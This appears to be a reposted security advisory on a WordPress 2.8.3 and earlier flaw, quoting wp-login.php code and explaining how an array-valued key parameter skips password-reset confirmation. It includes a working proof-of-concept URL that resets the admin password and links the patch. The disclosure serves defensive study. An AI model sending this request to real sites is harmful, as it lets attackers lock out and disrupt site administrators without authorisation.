WordPress <= 2.8.3 Remote admin reset password

How to annoy a wordpress admin? By changing his password without confirmation…

WordPress <= 2.8.3 Remote admin reset password

III. DESCRIPTION
————————-
The way WordPress handle a password reset looks like this:
You submit your email adress or username via this form
/wp-login.php?action=lostpassword ;
WordPress send you a reset confirmation like that via email:

“
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just ignore
this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key;=o7naCKN3OoeU2KJMMsag
“

You click on the link, and then WordPress reset your admin password, and
sends you over another email with your new credentials.

Let’s see how it works:

wp-login.php:
…[snip]….
line 186:
function reset_password($key) {
global $wpdb;

$key = preg_replace(‘/[^a-z0-9]/i’, ”, $key);

if ( empty( $key ) )
return new WP_Error(‘invalid_key’, __(‘Invalid key’));

$user = $wpdb->get_row($wpdb->prepare(“SELECT * FROM $wpdb->users WHERE
user_activation_key = %s”, $key));
if ( empty( $user ) )
return new WP_Error(‘invalid_key’, __(‘Invalid key’));
…[snip]….
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : ‘login’;
$errors = new WP_Error();

if ( isset($_GET['key']) )
$action = ‘resetpass’;

// validate action so as to default to the login screen
if ( !in_array($action, array(‘logout’, ‘lostpassword’, ‘retrievepassword’,
‘resetpass’, ‘rp’, ‘register’, ‘login’)) && false ===
has_filter(‘login_form_’ . $action) )
$action = ‘login’;
…[snip]….

line 370:

break;

case ‘resetpass’ :
case ‘rp’ :
$errors = reset_password($_GET['key']);

if ( ! is_wp_error($errors) ) {
wp_redirect(‘wp-login.php?checkemail=newpass’);
exit();
}

wp_redirect(‘wp-login.php?action=lostpassword&error;=invalidkey’);
exit();

break;
…[snip ]…

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key variable.

IV. PROOF OF CONCEPT
————————-
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key;[]=
The password will be reset without any confirmation.

V. BUSINESS IMPACT
————————-
An attacker could exploit this vulnerability to compromise the admin account
of any wordpress/wordpress-mu <= 2.8.3

The patch? Just a one liner fix… http://core.trac.wordpress.org/changeset/11798. The problem? They are still using blacklists instead of a whilelist of what should be accepted…